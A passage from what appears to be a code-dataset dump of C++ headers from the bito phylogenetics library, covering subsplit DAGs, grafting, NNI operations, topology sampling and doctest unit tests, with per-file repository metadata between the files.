// A vector that sets each edge's highest priority tree in the choice map.
TreeIdData tree_priority_;
};
| 9,228
|
C++
|
.h
| 210
| 38.8
| 86
| 0.713888
|
phylovi/bito
| 38
| 9
| 59
|
GPL-3.0
|
9/20/2024, 10:43:37 PM (Europe/Amsterdam)
| false
| false
| false
| false
| false
| false
| false
| false
|
1,532,101
|
graft_dag.hpp
|
phylovi_bito/src/graft_dag.hpp
|
// Copyright 2019-2022 bito project contributors.
// bito is free software under the GPLv3; see LICENSE file for details.
//
// The GraftDAG is a proposed addition (graft) to SubsplitDAG (host), which we
// can perform computations on without the need for adding nodes and edges and
// reindexing the full DAG.
#include "gp_dag.hpp"
#include "subsplit_dag.hpp"
#pragma once
class GraftDAG : public SubsplitDAG {
public:
// ** Constructors:
// Initialize empty GraftDAG.
GraftDAG(SubsplitDAG &dag);
// ** Comparators
// Uses same method of comparison as SubsplitDAG (node and edge sets).
int Compare(const GraftDAG &other) const;
static int Compare(const GraftDAG &lhs, const GraftDAG &rhs);
// Treats GraftDAG as completed DAG to compare against normal SubsplitDAG.
int CompareToDAG(const SubsplitDAG &other) const;
static int CompareToDAG(const GraftDAG &lhs, const SubsplitDAG &rhs);
// ** Modify GraftDAG
// Graft node pair to DAG.
virtual ModificationResult AddNodePair(const NNIOperation &nni);
virtual ModificationResult AddNodePair(const Bitset &parent_subsplit,
const Bitset &child_subsplit);
virtual ModificationResult AddNodes(const BitsetPairVector &node_subsplit_pairs);
// Clear all nodes and edges from graft for reuse.
void RemoveAllGrafts();
// ** Access
// Get pointer to the host DAG.
const SubsplitDAG &GetHostDAG() const;
// ** Counts
// Total number of nodes in graft only.
size_t GraftNodeCount() const;
// Total number of nodes in host DAG only.
size_t HostNodeCount() const;
// Total number of edges in graft only.
size_t GraftEdgeCount() const;
// Total number of edges in host DAG only.
size_t HostEdgeCount() const;
// Check if a node is from the host, otherwise from the graft.
bool IsNodeFromHost(NodeId node_id) const;
// Check if an edge is from the host, otherwise from the graft.
bool IsEdgeFromHost(EdgeId edge_id) const;
// ** Contains
// Checks whether the node is in the graft only.
bool ContainsGraftNode(const Bitset node_subsplit) const;
bool ContainsGraftNode(const NodeId node_id) const;
// Checks whether the edge is in the graft only.
bool ContainsGraftEdge(const NodeId parent_id, const NodeId child_id) const;
bool ContainsGraftEdge(const EdgeId edge_id) const;
// ** Miscellaneous
size_t GetPLVIndex(PLVType plv_type, NodeId node_id) const;
protected:
// DAG that the graft is connected to.
SubsplitDAG &host_dag_;
// Number of nodes grafted to the DAG.
size_t graft_node_count_ = 0;
// Number of edges grafted to the DAG.
size_t graft_edge_count_ = 0;
};
| 2,661
|
C++
|
.h
| 62
| 39.370968
| 83
| 0.741085
|
phylovi/bito
| 38
| 9
| 59
|
GPL-3.0
|
9/20/2024, 10:43:37 PM (Europe/Amsterdam)
| false
| false
| false
| false
| false
| false
| false
| false
|
1,532,102
|
intpack.hpp
|
phylovi_bito/src/intpack.hpp
|
// Copyright 2019-2022 bito project contributors.
// bito is free software under the GPLv3; see LICENSE file for details.
#pragma once
#include <cstdint>
#include <string>
inline uint64_t PackInts(uint32_t a, uint32_t b) {
return (static_cast<uint64_t>(a) << 32) + static_cast<uint64_t>(b);
}
inline uint32_t UnpackFirstInt(uint64_t x) { return static_cast<uint32_t>(x >> 32); }
inline uint32_t UnpackSecondInt(uint64_t x) {
return static_cast<uint32_t>(x & 0xffffffff);
}
inline std::string StringOfPackedInt(uint64_t x) {
return (std::to_string(UnpackFirstInt(x)) + "_" + std::to_string(UnpackSecondInt(x)));
}
#ifdef DOCTEST_LIBRARY_INCLUDED
inline void TestPacking(uint32_t a, uint32_t b) {
auto p = PackInts(a, b);
CHECK_EQ(UnpackFirstInt(p), a);
CHECK_EQ(UnpackSecondInt(p), b);
}
TEST_CASE("intpack") {
TestPacking(3, 4);
TestPacking(UINT32_MAX, 4);
TestPacking(3, UINT32_MAX);
TestPacking(UINT32_MAX - 1, UINT32_MAX);
// The ints are packed such that the first int takes priority in sorting.
CHECK_LT(PackInts(0, 4), PackInts(1, 0));
}
#endif // DOCTEST_LIBRARY_INCLUDED
| 1,113
|
C++
|
.h
| 30
| 35
| 88
| 0.726257
|
phylovi/bito
| 38
| 9
| 59
|
GPL-3.0
|
9/20/2024, 10:43:37 PM (Europe/Amsterdam)
| false
| false
| false
| false
| false
| false
| false
| false
|
1,532,103
|
phylo_model.hpp
|
phylovi_bito/src/phylo_model.hpp
|
// Copyright 2019-2022 bito project contributors.
// bito is free software under the GPLv3; see LICENSE file for details.
#pragma once
#include <memory>
#include "clock_model.hpp"
#include "site_model.hpp"
#include "substitution_model.hpp"
#include "phylo_flags.hpp"
struct PhyloModelSpecification {
std::string substitution_;
std::string site_;
std::string clock_;
};
class PhyloModel : public BlockModel {
public:
PhyloModel(std::unique_ptr<SubstitutionModel> substitution_model,
std::unique_ptr<SiteModel> site_model,
std::unique_ptr<ClockModel> clock_model);
SubstitutionModel* GetSubstitutionModel() const { return substitution_model_.get(); }
SiteModel* GetSiteModel() const { return site_model_.get(); }
ClockModel* GetClockModel() const { return clock_model_.get(); }
static std::unique_ptr<PhyloModel> OfSpecification(
const PhyloModelSpecification& specification);
void SetParameters(const EigenVectorXdRef param_vector) override;
inline const static std::string entire_substitution_key_ = "entire_substitution";
inline const static std::string entire_site_key_ = "entire_site";
inline const static std::string entire_clock_key_ = "entire_clock";
private:
std::unique_ptr<SubstitutionModel> substitution_model_;
std::unique_ptr<SiteModel> site_model_;
std::unique_ptr<ClockModel> clock_model_;
};
// Mapkeys for PhyloModel Parameters
namespace PhyloModelMapkeys {
// Map keys
inline static const auto substitution_model_ =
PhyloMapkey("SUBSTITUTION_MODEL", PhyloModel::entire_substitution_key_);
inline static const auto substitution_model_rates_ =
PhyloMapkey("SUBSTITUTION_MODEL_RATES", SubstitutionModel::rates_key_);
inline static const auto substitution_model_frequencies_ =
PhyloMapkey("SUBSTITUTION_MODEL_FREQUENCIES", SubstitutionModel::frequencies_key_);
inline static const auto site_model =
PhyloMapkey("SITE_MODEL", PhyloModel::entire_site_key_);
inline static const auto clock_model_ =
PhyloMapkey("CLOCK_MODEL", PhyloModel::entire_clock_key_);
inline static const auto clock_model_rates_ =
PhyloMapkey("CLOCK_MODEL_RATES", StrictClockModel::rate_key_);
inline static const auto set_ =
PhyloMapkeySet("PhyloModel", {substitution_model_, substitution_model_rates_,
substitution_model_frequencies_, site_model,
clock_model_, clock_model_rates_});
} // namespace PhyloModelMapkeys
| 2,473
|
C++
|
.h
| 52
| 43.269231
| 87
| 0.748963
|
phylovi/bito
| 38
| 9
| 59
|
GPL-3.0
|
9/20/2024, 10:43:37 PM (Europe/Amsterdam)
| false
| false
| false
| false
| false
| false
| false
| false
|
1,532,104
|
gp_dag.hpp
|
phylovi_bito/src/gp_dag.hpp
|
// Copyright 2019-2022 bito project contributors.
// bito is free software under the GPLv3; see LICENSE file for details.
//
// The purpose of this class is to hold a DAG that we use to build up the operations for
// the generalized pruning operations. Note that rootsplit PCSPs and the DAG root node
// are excluded from operations.
// GPOperationVectors are then consumed and calculated by GPEngine::ProcessOperations().
#pragma once
#include "gp_operation.hpp"
#include "quartet_hybrid_request.hpp"
#include "rooted_tree_collection.hpp"
#include "sbn_maps.hpp"
#include "subsplit_dag_node.hpp"
#include "tidy_subsplit_dag.hpp"
#include "pv_handler.hpp"
using PLVType = PLVNodeHandler::PLVType;
class GPDAG : public TidySubsplitDAG {
public:
using TidySubsplitDAG::TidySubsplitDAG;
// Get the GPEngine index of given PLV type and given node index.
size_t GetPLVIndex(PLVType plv_type, NodeId node_id) const;
// ** GPOperations:
// These methods generate a serial vector of operations, but perform no computation.
// These operation vectors can then be computed and consumed by the
// GPEngine::ProcessOperations().
// Optimize branch lengths without handling out of date PLVs.
[[nodiscard]] GPOperationVector ApproximateBranchLengthOptimization() const;
// Schedule branch length, updating PLVs so they are always up to date.
[[nodiscard]] GPOperationVector BranchLengthOptimization();
// Schedule branch length, only updating explicit node_ids, updating PLVs so they are
// always up to date.
[[nodiscard]] GPOperationVector BranchLengthOptimization(
const std::set<EdgeId> &edges_to_optimize);
// Compute likelihood values l(s|t) for each child subsplit s by visiting
// parent subsplit t and generating Likelihood operations for each PCSP s|t.
// Compute likelihood values l(s) for each rootsplit s by calling
// MarginalLikelihood().
[[nodiscard]] GPOperationVector ComputeLikelihoods() const;
// Do a complete two-pass traversal to correctly populate the PLVs.
[[nodiscard]] GPOperationVector PopulatePLVs() const;
// Fill r-PLVs from leaf nodes to the root nodes.
[[nodiscard]] GPOperationVector LeafwardPass() const;
// Compute marginal likelihood.
[[nodiscard]] GPOperationVector MarginalLikelihood() const;
// Fill p-PLVs from root nodes to the leaf nodes.
[[nodiscard]] GPOperationVector RootwardPass() const;
// Optimize SBN parameters.
[[nodiscard]] GPOperationVector OptimizeSBNParameters() const;
// Set r-PLVs to zero.
[[nodiscard]] GPOperationVector SetLeafwardZero() const;
// Set rhat(s) = stationary for the rootsplits s.
[[nodiscard]] GPOperationVector SetRhatToStationary() const;
// Set p-PLVs to zero.
[[nodiscard]] GPOperationVector SetRootwardZero() const;
QuartetHybridRequest QuartetHybridRequestOf(NodeId parent_id, bool is_edge_on_left,
NodeId child_id) const;
private:
[[nodiscard]] GPOperationVector LeafwardPass(const NodeIdVector &visit_order) const;
[[nodiscard]] GPOperationVector RootwardPass(const NodeIdVector &visit_order) const;
void AddPhatOperations(SubsplitDAGNode node, bool is_edge_on_left,
GPOperationVector &operations) const;
void AddRhatOperations(SubsplitDAGNode node, GPOperationVector &operations) const;
void OptimizeSBNParametersForASubsplit(const Bitset &subsplit,
GPOperationVector &operations) const;
GPOperation RUpdateOfRotated(NodeId node_id, bool rotated) const;
// Compute R_HAT(s) = \sum_{t : s < t} P'(s|t) r(t) prior(s|t)
void UpdateRHat(NodeId node_id, GPOperationVector &operations) const;
void UpdatePHatComputeLikelihood(NodeId node_id, NodeId child_node_id,
bool is_edge_on_left,
GPOperationVector &operations) const;
void OptimizeBranchLengthUpdatePHat(NodeId node_id, NodeId child_node_id,
bool is_edge_on_left,
GPOperationVector &operations,
bool do_optimize_branch_length = true) const;
};
| 4,173
|
C++
|
.h
| 75
| 49.213333
| 88
| 0.726939
|
phylovi/bito
| 38
| 9
| 59
|
GPL-3.0
|
9/20/2024, 10:43:37 PM (Europe/Amsterdam)
| false
| false
| false
| false
| false
| false
| false
| false
|
1,532,105
|
unrooted_tree_collection.hpp
|
phylovi_bito/src/unrooted_tree_collection.hpp
|
// Copyright 2019-2022 bito project contributors.
// bito is free software under the GPLv3; see LICENSE file for details.
#pragma once
#include "tree_collection.hpp"
#include "unrooted_tree.hpp"
using PreUnrootedTreeCollection = GenericTreeCollection<UnrootedTree>;
class UnrootedTreeCollection : public PreUnrootedTreeCollection {
public:
// Inherit all constructors.
using PreUnrootedTreeCollection::PreUnrootedTreeCollection;
UnrootedTreeCollection(const PreUnrootedTreeCollection& pre_collection);
static UnrootedTreeCollection OfTreeCollection(const TreeCollection& trees);
};
#ifdef DOCTEST_LIBRARY_INCLUDED
TEST_CASE("UnrootedTreeCollection") {}
#endif // DOCTEST_LIBRARY_INCLUDED
| 704
|
C++
|
.h
| 16
| 42.0625
| 78
| 0.83871
|
phylovi/bito
| 38
| 9
| 59
|
GPL-3.0
|
9/20/2024, 10:43:37 PM (Europe/Amsterdam)
| false
| false
| false
| false
| false
| false
| false
| false
|
1,532,106
|
include_doctest.hpp
|
phylovi_bito/src/include_doctest.hpp
|
// ** Doctest include must go first for all header tests to run.
#if __GNUC__ >= 8
#pragma GCC diagnostic push
#pragma GCC diagnostic ignored "-Wclass-memaccess"
#include "doctest.h"
#pragma GCC diagnostic pop
#else
#include "doctest.h"
#endif
| 244
|
C++
|
.h
| 9
| 26.111111
| 64
| 0.761702
|
phylovi/bito
| 38
| 9
| 59
|
GPL-3.0
|
9/20/2024, 10:43:37 PM (Europe/Amsterdam)
| false
| false
| false
| false
| false
| false
| false
| false
|
1,532,107
|
nni_operation.hpp
|
phylovi_bito/src/nni_operation.hpp
|
// Copyright 2019-2022 bito project contributors.
// bito is free software under the GPLv3; see LICENSE file for details.
//
// Subsplit DAG NNI (Nearest Neighbor Interchange):
//
// An `NNIOperation` contains an output parent/child Subsplit pair which is the
// result of an NNI operation on an input parent/child pair. An NNI operation can be
// seen as a swapping of the branches in the SubsplitDAG, or alternatively as a a
// reordering of the set of clades in an input parent/child pair: the parent's sister
// clade, the child's left clade, and the child's right clade. For any given
// parent/child pair, there are two possible NNIs: swapping the sister clade with the
// left child clade, or swapping the sister clade with the right child clade.
//
// The `NNISet` is a set of `NNIOperations` used to account for all "adjacent" NNIs
// to a SubsplitDAG. That is, all output parent/child pairs which can be generated from
// a single NNI operation on an input parent/child pair taken from the set of all the
// parent/child pairs currently in the SubsplitDAG, where the output parent/child pair
// is not also already in the SubpslitDAG.
#pragma once
#include "sugar.hpp"
#include "bitset.hpp"
#include "subsplit_dag_storage.hpp"
// * Nearest Neighbor Interchange Operation
// NNIOperation stores output parent/child pair which are the product of an NNI.
class NNIOperation {
public:
NNIOperation() : parent_(0), child_(0){};
NNIOperation(Bitset parent, Bitset child) : parent_(parent), child_(child) {
focal_clade_ = Bitset::SubsplitIsChildOfWhichParentClade(parent_, child_);
};
NNIOperation(const std::string &parent, const std::string child)
: NNIOperation(Bitset(parent), Bitset(child)) {}
// Types of clades in the NNI (two from parent subsplit and two from the child
// subsplit).
enum class NNIClade { ParentFocal, ParentSister, ChildLeft, ChildRight };
static const inline size_t NNICladeCount = 4;
class NNICladeEnum : public EnumWrapper<NNIClade, size_t, NNICladeCount,
NNIClade::ParentFocal, NNIClade::ChildRight> {
};
// Types of NNI adjacencies (includes the central/focal edge).
enum class NNIAdjacent { Parent, Sister, Focal, LeftChild, RightChild };
static const inline size_t NNIAdjacentCount = 5;
class NNIAdjacentEnum
: public EnumWrapper<NNIAdjacent, size_t, NNIAdjacentCount, NNIAdjacent::Parent,
NNIAdjacent::RightChild> {};
using NNICladeArray = NNICladeEnum::Array<NNIClade>;
// ** Comparator
// NNIOperations are ordered according to the std::bitset ordering of their parent
// subsplit, then the std::bitset order their child subsplit.
static int Compare(const NNIOperation &nni_a, const NNIOperation &nni_b);
int Compare(const NNIOperation &nni_b) const;
friend bool operator<(const NNIOperation &lhs, const NNIOperation &rhs);
friend bool operator>(const NNIOperation &lhs, const NNIOperation &rhs);
friend bool operator<=(const NNIOperation &lhs, const NNIOperation &rhs);
friend bool operator>=(const NNIOperation &lhs, const NNIOperation &rhs);
friend bool operator==(const NNIOperation &lhs, const NNIOperation &rhs);
friend bool operator!=(const NNIOperation &lhs, const NNIOperation &rhs);
// ** Special Constructors
// Produces the neighboring NNI, resulting from a clade swap between the
// sister clade and a child clade.
NNIOperation GetNeighboringNNI(
const SubsplitClade child_clade_swapped_with_sister) const;
static NNIOperation GetNeighboringNNI(
const Bitset parent_in, const Bitset child_in,
const SubsplitClade child_clade_swapped_with_sister,
const SubsplitClade focal_clade);
// If it is not known which is focal clade, it can be inferred by this overload.
static NNIOperation GetNeighboringNNI(
const Bitset parent_in, const Bitset child_in,
const SubsplitClade child_clade_swapped_with_sister);
// ** Getters
Bitset GetClade(const NNIClade &nni_clade) const {
switch (nni_clade) {
case NNIClade::ParentFocal:
return GetFocalClade();
case NNIClade::ParentSister:
return GetSisterClade();
case NNIClade::ChildLeft:
return GetLeftChildClade();
case NNIClade::ChildRight:
return GetRightChildClade();
default:
Failwith("Invalid NNIClade given.");
}
};
const Bitset &GetParent() const { return parent_; };
const Bitset &GetChild() const { return child_; };
Bitset GetCentralEdgePCSP() const { return Bitset::PCSP(GetParent(), GetChild()); }
Bitset GetFocalClade() const {
return GetParent().SubsplitGetClade(WhichCladeIsFocal());
};
Bitset GetSisterClade() const {
return GetParent().SubsplitGetClade(WhichCladeIsSister());
}
Bitset GetLeftChildClade() const {
return GetChild().SubsplitGetClade(SubsplitClade::Left);
}
Bitset GetRightChildClade() const {
return GetChild().SubsplitGetClade(SubsplitClade::Right);
}
// ** Query
SubsplitClade WhichCladeIsFocal() const { return focal_clade_; }
SubsplitClade WhichCladeIsSister() const {
return SubsplitCladeEnum::Opposite(focal_clade_);
}
// Checks whether two NNIs are neighbors. That is whether one is the result of an NNI
// operation on the other.
static bool AreNNIOperationsNeighbors(const NNIOperation &nni_a,
const NNIOperation &nni_b);
// Given two neighboring NNIs returns which child clade can be swapped with the
// sister clade in the `pre_nni` to produce the `post_nni`.
static SubsplitClade WhichCladeSwapWithSisterToCreatePostNNI(
const NNIOperation &pre_nni, const NNIOperation &post_nni);
// ** Miscellaneous
size_t Hash() const { return GetCentralEdgePCSP().Hash(); }
// Finds mappings of sister, left child, and right child clades from Pre-NNI to NNI.
static NNICladeArray BuildNNICladeMapFromPreNNIToNNI(const NNIOperation &pre_nni,
const NNIOperation &post_nni);
std::pair<Direction, SubsplitClade> GetDirectionAndSubsplitCladeByNNIClade(
const NNIClade &nni_clade) {
switch (nni_clade) {
case NNIClade::ParentFocal:
return {Direction::Rootward, WhichCladeIsFocal()};
case NNIClade::ParentSister:
return {Direction::Rootward, WhichCladeIsSister()};
case NNIClade::ChildLeft:
return {Direction::Leafward, SubsplitClade::Left};
case NNIClade::ChildRight:
return {Direction::Leafward, SubsplitClade::Right};
default:
Failwith("Invalid NNIClade given.");
}
}
// Checks that NNI Operation is in valid state.
// - Parent and Child are adjacent Subsplits.
bool IsValid();
std::string ToString() const;
std::string ToHashString(const size_t length = 16) const;
std::string ToSplitHashString(const size_t length = 5) const;
friend std::ostream &operator<<(std::ostream &os, const NNIOperation &nni);
Bitset parent_;
Bitset child_;
SubsplitClade focal_clade_;
};
using NNISet = std::set<NNIOperation>;
using NNIVector = std::vector<NNIOperation>;
using NNIClade = NNIOperation::NNIClade;
using NNICladeEnum = NNIOperation::NNICladeEnum;
using NNIAdjacent = NNIOperation::NNIAdjacent;
using NNIAdjacentEnum = NNIOperation::NNIAdjacentEnum;
template <typename T>
struct NNIAdjacentMap {
T parent;
T sister;
T focal;
T left_child;
T right_child;
T &operator[](NNIAdjacent nni_edge) {
switch (nni_edge) {
case NNIAdjacent::Parent:
return parent;
case NNIAdjacent::Sister:
return sister;
case NNIAdjacent::Focal:
return focal;
case NNIAdjacent::LeftChild:
return left_child;
case NNIAdjacent::RightChild:
return right_child;
}
Failwith("ERROR: Invalid enum given.");
}
const T &operator[](NNIAdjacent nni_edge) const {
switch (nni_edge) {
case NNIAdjacent::Parent:
return parent;
case NNIAdjacent::Sister:
return sister;
case NNIAdjacent::Focal:
return focal;
case NNIAdjacent::LeftChild:
return left_child;
case NNIAdjacent::RightChild:
return right_child;
}
Failwith("ERROR: Invalid enum given.");
}
};
using NNIAdjEdgeIds = NNIAdjacentMap<EdgeId>;
using NNIAdjNodeIds = NNIAdjacentMap<NodeId>;
using NNIAdjBools = NNIAdjacentMap<bool>;
using NNIAdjDoubles = NNIAdjacentMap<double>;
using NNIAdjPCSPs = NNIAdjacentMap<Bitset>;
using NNIAdjEdgeIdMap = NNIAdjacentMap<std::pair<EdgeId, EdgeId>>;
// This is how we inject a hash routine and a custom comparator into the std
// namespace so that we can use unordered_map and unordered_set.
// https://en.cppreference.com/w/cpp/container/unordered_map
namespace std {
template <>
struct hash<NNIOperation> {
size_t operator()(const NNIOperation &x) const { return x.Hash(); }
};
template <>
struct equal_to<NNIOperation> {
bool operator()(const NNIOperation &lhs, const NNIOperation &rhs) const {
return lhs == rhs;
}
};
} // namespace std
#ifdef DOCTEST_LIBRARY_INCLUDED
// See tree diagram at:
// https://user-images.githubusercontent.com/31897211/136849710-de0dcbe3-dc2b-42b7-b3de-dd9b1a60aaf4.gif
TEST_CASE("NNIOperation") {
// Clades for NNI.
Bitset X("100");
Bitset Y("010");
Bitset Z("001");
// Initial Child and Parent.
Bitset parent_in = Bitset::Subsplit(X, Y | Z);
Bitset child_in = Bitset::Subsplit(Y, Z);
NNIOperation nni_yz = NNIOperation(parent_in, child_in);
// Correct Solutions.
Bitset correct_parent_xy = Bitset::Subsplit(Y, X | Z);
Bitset correct_child_xy = Bitset::Subsplit(X, Z);
NNIOperation correct_nni_xy = NNIOperation(correct_parent_xy, correct_child_xy);
Bitset correct_parent_xz = Bitset::Subsplit(Z, Y | X);
Bitset correct_child_xz = Bitset::Subsplit(Y, X);
NNIOperation correct_nni_xz = NNIOperation(correct_parent_xz, correct_child_xz);
// Swap X and Y
auto nni_xy = nni_yz.GetNeighboringNNI(SubsplitClade::Left);
CHECK_EQ(correct_nni_xy, nni_xy);
// Swap X and Z
auto nni_xz = nni_yz.GetNeighboringNNI(SubsplitClade::Right);
CHECK_EQ(correct_nni_xz, nni_xz);
// Relationship is known (child_in is the rotated clade of parent_in)
auto nni_xy_2 = NNIOperation::GetNeighboringNNI(
parent_in, child_in, SubsplitClade::Left, SubsplitClade::Right);
CHECK_EQ(correct_nni_xy, nni_xy_2);
CHECK_THROWS(NNIOperation::GetNeighboringNNI(parent_in, child_in, SubsplitClade::Left,
SubsplitClade::Left));
};
TEST_CASE("NNIOperation: NNISet") {
// Clades for NNI.
Bitset X("100");
Bitset Y("010");
Bitset Z("001");
// Initial Child and Parent.
Bitset parent_in = Bitset::Subsplit(X, Y | Z);
Bitset child_in = Bitset::Subsplit(Y, Z);
NNIOperation nni_yz = NNIOperation(parent_in, child_in);
auto nni_xy = nni_yz.GetNeighboringNNI(SubsplitClade::Left);
auto nni_xz = nni_yz.GetNeighboringNNI(SubsplitClade::Right);
// Insert NNIs in various orders.
NNISet set_of_nnis_1 = NNISet();
set_of_nnis_1.insert(nni_yz);
set_of_nnis_1.insert(nni_xy);
set_of_nnis_1.insert(nni_xz);
NNISet set_of_nnis_2 = NNISet();
set_of_nnis_2.insert(nni_xy);
set_of_nnis_2.insert(nni_xz);
set_of_nnis_2.insert(nni_yz);
// Check proper ordering.
for (const auto &set_of_nnis : {set_of_nnis_1, set_of_nnis_2}) {
NNIOperation prv_nni = *set_of_nnis.begin();
for (const auto &nni : set_of_nnis) {
CHECK_MESSAGE(nni >= prv_nni, "NNIs not ordered in NNISet.");
}
}
}
TEST_CASE("NNIOperation: NNI Clade Mapping") {
// Clades for NNI.
std::vector<Bitset> clades = {Bitset("100"), Bitset("010"), Bitset("001")};
// Iterate over all possible assignments of {X,Y,Z} clades to {sister, left,
// right}.
std::vector<std::array<size_t, 3>> assignments;
for (size_t x = 0; x < 3; x++) {
for (size_t y = 0; y < 3; y++) {
if (y == x) {
continue;
}
for (size_t z = 0; z < 3; z++) {
if ((z == x) || (z == y)) {
continue;
}
assignments.push_back({x, y, z});
}
}
}
// For each possible pre-NNI, check that NNI produces the correct mapping.
for (const auto assign : assignments) {
const Bitset X(clades[assign[0]]);
const Bitset Y(clades[assign[1]]);
const Bitset Z(clades[assign[2]]);
const Bitset parent = Bitset::Subsplit(X, Y | Z);
const Bitset child = Bitset::Subsplit(Y, Z);
const NNIOperation pre_nni(parent, child);
for (const auto which_clade_swap : SubsplitCladeEnum::Iterator()) {
const auto post_nni = pre_nni.GetNeighboringNNI(which_clade_swap);
const auto clade_map =
NNIOperation::BuildNNICladeMapFromPreNNIToNNI(pre_nni, post_nni);
for (const auto pre_clade_type :
{NNIClade::ParentSister, NNIClade::ChildLeft, NNIClade::ChildRight}) {
const auto post_clade_type = clade_map[pre_clade_type];
CHECK_MESSAGE(
pre_nni.GetClade(pre_clade_type) == post_nni.GetClade(post_clade_type),
"NNI Clade Map did not produce a proper mapping.");
}
}
}
}
#endif // DOCTEST_LIBRARY_INCLUDED
| 13,169
|
C++
|
.h
| 311
| 37.636656
| 104
| 0.706956
|
phylovi/bito
| 38
| 9
| 59
|
GPL-3.0
|
9/20/2024, 10:43:37 PM (Europe/Amsterdam)
| false
| false
| false
| false
| false
| false
| false
| false
|
1,532,108
|
topology_sampler.hpp
|
phylovi_bito/src/topology_sampler.hpp
|
// Copyright 2019-2022 bito project contributors.
// bito is free software under the GPLv3; see LICENSE file for details.
// A class that samples one tree topology per call to the Sample() function.
// The parameters are as follows:
// node - a node to start sampling for
// dag - the SubsplitDAG that owns "node"
// normalized_sbn_parameters - edge probabilities for leafward sampling
// inverted_probabilities - edge probabilities for rootward sampling
#pragma once
#include "subsplit_dag.hpp"
#include "node.hpp"
#include "mersenne_twister.hpp"
class TopologySampler {
public:
// Sample a single tree from the DAG according to the provided edge
// probabilities.
Node::NodePtr Sample(SubsplitDAGNode node, SubsplitDAG& dag,
EigenConstVectorXdRef normalized_sbn_parameters,
EigenConstVectorXdRef inverted_probabilities);
// Set a seed value for the internal random number generator.
void SetSeed(uint64_t seed);
private:
struct SamplingSession {
SubsplitDAG& dag_;
EigenConstVectorXdRef normalized_sbn_parameters_;
EigenConstVectorXdRef inverted_probabilities_;
SubsplitDAGStorage result_;
};
// Called for each newly sampled node. Direction and clade are pointing to the
// previously visited node.
void VisitNode(SamplingSession& session, SubsplitDAGNode node, Direction direction,
SubsplitClade clade);
// Continue sampling in the rootward direction from `node`.
void SampleRootward(SamplingSession& session, SubsplitDAGNode node);
// Continue sampling in the leafward direction and specified `clade` from `node`.
void SampleLeafward(SamplingSession& session, SubsplitDAGNode node,
SubsplitClade clade);
// Choose a parent node (and return it with the corresponding edge) according to
// the values in `inverted_probabilities`.
std::pair<SubsplitDAGNode, ConstLineView> SampleParentNodeAndEdge(
SamplingSession& session, ConstNeighborsView left, ConstNeighborsView right);
// Choose a child node among the `neighbors` clade according to the values
// in `normalized_sbn_parameters`.
std::pair<SubsplitDAGNode, ConstLineView> SampleChildNodeAndEdge(
SamplingSession& session, ConstNeighborsView neighbors);
// Construct a Node topology from a successful sampling. Recursion is started
// by passing the root node.
Node::NodePtr BuildTree(SamplingSession& session, const DAGVertex& node);
MersenneTwister mersenne_twister_;
};
#ifdef DOCTEST_LIBRARY_INCLUDED
TEST_CASE("TopologySampler") {
Driver driver;
auto tree_collection = RootedTreeCollection::OfTreeCollection(
driver.ParseNewickFile("data/five_taxon_rooted_more_2.nwk"));
SubsplitDAG dag(tree_collection);
EigenVectorXd normalized_sbn_parameters = dag.BuildUniformOnTopologicalSupportPrior();
EigenVectorXd node_probabilities =
dag.UnconditionalNodeProbabilities(normalized_sbn_parameters);
EigenVectorXd inverted_probabilities =
dag.InvertedGPCSPProbabilities(normalized_sbn_parameters, node_probabilities);
SubsplitDAGNode origin = dag.GetDAGNode(NodeId(5));
TopologySampler sampler;
std::map<std::string, size_t> counts;
const size_t iterations = 10000;
for (size_t i = 0; i < iterations; ++i) {
auto tree =
sampler.Sample(origin, dag, normalized_sbn_parameters, inverted_probabilities);
++counts[tree->Newick([](const Node* node) {
if (!node->IsLeaf()) return std::string();
return std::string("x") + std::to_string(node->Id());
})];
}
for (auto& i : counts) {
const double observed = static_cast<double>(i.second) / iterations;
const double expected = 1.0 / 3.0;
CHECK_LT(fabs(observed - expected), 5e-2);
}
}
TEST_CASE("TopologySampler: Non-uniform prior") {
Driver driver;
auto tree_collection = RootedTreeCollection::OfTreeCollection(
driver.ParseNewickFile("data/five_taxon_rooted_more_2.nwk"));
SubsplitDAG dag(tree_collection);
std::vector<double> params{0.5, 0.3, 0.2, 1.0, 1.0, 1.0, 1.0, 1.0,
0.8, 0.2, 1.0, 1.0, 1.0, 1.0, 1.0, 1.0,
1.0, 1.0, 1.0, 1.0, 1.0, 1.0, 1.0, 1.0};
EigenVectorXd normalized_sbn_parameters =
EigenVectorXd::Map(params.data(), params.size());
EigenVectorXd node_probabilities =
dag.UnconditionalNodeProbabilities(normalized_sbn_parameters);
EigenVectorXd inverted_probabilities =
dag.InvertedGPCSPProbabilities(normalized_sbn_parameters, node_probabilities);
SubsplitDAGNode origin = dag.GetDAGNode(NodeId(5));
TopologySampler sampler;
std::map<std::string, size_t> counts;
std::map<std::string, double> expected = {
{"((((x0,x1),x2),(x3,x4)));", 0.312},
{"(((x0,x1),(x2,(x3,x4))));", 0.52},
{"((x0,(x1,(x2,(x3,x4)))));", 0.1666},
};
const size_t iterations = 10000;
for (size_t i = 0; i < iterations; ++i) {
auto tree =
sampler.Sample(origin, dag, normalized_sbn_parameters, inverted_probabilities);
++counts[tree->Newick([](const Node* node) {
if (!node->IsLeaf()) return std::string();
return std::string("x") + std::to_string(node->Id());
})];
}
for (auto& [tree, count] : counts) {
const double observed = static_cast<double>(count) / iterations;
CHECK_LT(fabs(observed - expected[tree]), 5e-2);
}
}
#endif // DOCTEST_LIBRARY_INCLUDED
| 5,395
|
C++
|
.h
| 116
| 41.637931
| 88
| 0.714856
|
phylovi/bito
| 38
| 9
| 59
|
GPL-3.0
|
9/20/2024, 10:43:37 PM (Europe/Amsterdam)
| false
| false
| false
| false
| false
| false
| false
| false
|
1,532,109
|
mersenne_twister.hpp
|
phylovi_bito/src/mersenne_twister.hpp
|
// Copyright 2019-2022 bito project contributors.
// bito is free software under the GPLv3; see LICENSE file for details.
#pragma once
#include <random>
class MersenneTwister {
public:
inline void SetSeed(uint64_t seed) { random_generator_.seed(seed); }
inline std::mt19937 &GetGenerator() const { return random_generator_; };
private:
static std::random_device random_device_;
static std::mt19937 random_generator_;
};
| 434
|
C++
|
.h
| 12
| 34
| 74
| 0.76555
|
phylovi/bito
| 38
| 9
| 59
|
GPL-3.0
|
9/20/2024, 10:43:37 PM (Europe/Amsterdam)
| false
| false
| false
| false
| false
| false
| false
| false
|
1,532,110
|
dag_branch_handler.hpp
|
phylovi_bito/src/dag_branch_handler.hpp
|
// Copyright 2019-2022 bito project contributors.
// bito is free software under the GPLv3; see LICENSE file for details.
//
// This class handles data on the DAG in the form of a DAGData object and DAG branch
// lengths, including storage and resizing of data vectors and branch length
// optimization.
#pragma once
#include "gp_dag.hpp"
